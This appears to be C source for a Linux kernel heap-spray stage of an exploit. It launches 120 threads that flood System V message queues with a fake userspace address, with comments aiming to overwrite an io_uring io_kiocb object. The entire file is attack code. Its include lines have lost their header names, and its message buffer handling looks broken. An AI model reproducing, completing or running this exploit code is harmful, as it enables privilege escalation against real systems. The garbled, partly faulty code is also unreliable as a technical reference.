#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // This can overwrite the io_kiocb but we don't control offset +0x18 // #define CONTENT_LEN ((96 - 60 - 24)) #define CONTENT_LEN 120 #define NUM_WORKERS 120 #define MSGS_PER_WORKER 30 // Where is the fake object located in userspace // In the context of the future exploit process that is // #define BOUNCE_ADDR 0x4141414141410000ULL #define BOUNCE_ADDR 0x30000000ul typedef struct msgbuf { long mtype; char mtext[1]; } msgbuf; int worker() { int retval; uint64_t content[CONTENT_LEN >> 3]; for (int i = 0; i < CONTENT_LEN >> 3; i++) { content[i] = BOUNCE_ADDR; } msgbuf b; b.mtype = 1; b.mtext[0] = content; int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); for (int i = 0; i < MSGS_PER_WORKER; i++) { retval = msgsnd(id, &b, CONTENT_LEN, 0); if (retval < 0) { perror("msgsnd\n"); exit(EXIT_FAILURE); } } sleep(4); for (int i = 0; i < MSGS_PER_WORKER; i++) { msgrcv(id, &b, CONTENT_LEN, 0, 0); } } int main() { static pthread_t threads[NUM_WORKERS]; for (int i = 0; i < NUM_WORKERS; i++) { pthread_create(&threads[i], NULL, &worker, 0); } // for (int i = 0; i < NUM_WORKERS; i++) { // pthread_join(&threads[i], NULL); // } sleep(5); }